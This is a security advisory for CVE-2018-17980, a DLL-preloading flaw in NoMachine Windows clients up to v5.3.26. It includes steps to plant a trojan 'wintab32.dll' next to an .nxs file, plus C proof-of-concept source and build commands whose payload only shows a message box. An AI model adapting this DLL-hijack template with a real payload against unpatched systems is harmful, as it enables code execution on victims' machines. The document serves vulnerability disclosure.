[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/NOMACHINE-TROJAN-FILE-REMOTE-CODE-EXECUTION.txt
[+] ISR: ApparitionSec          
 
Greetz: ***Greetz: indoushka | Eduardo ***

[Vendor]
www.nomachine.com


[Product]
NoMachine  <= v5.3.26

NX technology, developed by NoMachine, and commonly known as "NX" is a proprietary computer program that provides desktop and remote access.
It consists of a suite of products for desktop virtualization and application delivery for servers, and client software.



[Vulnerability Type]
Trojan File Remote Code Execution


[Affected Component]
wintab32.dll


[CVE Reference]
CVE-2018-17980


[Security Issue]
Possible arbitrary code execution when opening a ".nxs" nomachine file type on client's wintab32.dll preload.
This issue regards the client part of all NoMachine installations on Windows (NoMachine free, NoMachine Enterprise Client, NoMachine Enteprise Desktop and NoMachine Cloud Server).

1) create a 32 bit DLL named "wintab32.dll"
2) create an native nomachine ".NXS" file and open it alongside the trojan "wintab32.dll" DLL from Network share or any dir.
BOOM!


[References]
https://www.nomachine.com/TR10P08887



[Exploit/POC]

#include <windows.h>

/* hyp3rlinx */

/*
gcc -c -m32 wintab32.c
gcc -shared -m32 -o wintab32.dll wintab32.o
*/

void executo(){
 MessageBox( 0, "3c184981367094fce3ab70efc3b44583" , ":)" , MB_YESNO + MB_ICONQUESTION );
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
 switch(fdwReason){
  case DLL_PROCESS_ATTACH:{
  executo();
  break;
  }
  case DLL_PROCESS_DETACH:{
  executo();
  break;
  }
  case DLL_THREAD_ATTACH:{
  executo();
  break;
       }
  case DLL_THREAD_DETACH:{
  executo();
  break;
  }
   }
  return TRUE;
}


[Network Access]
Remote



[Severity]
High



[Disclosure Timeline]
Vendor Notification: September 26, 2018
Vendor verified vulnerability: September 28, 2018
CVE assigned by Mitre: October 4, 2018
Vendor release fixed version: October 11, 2018
October 11, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx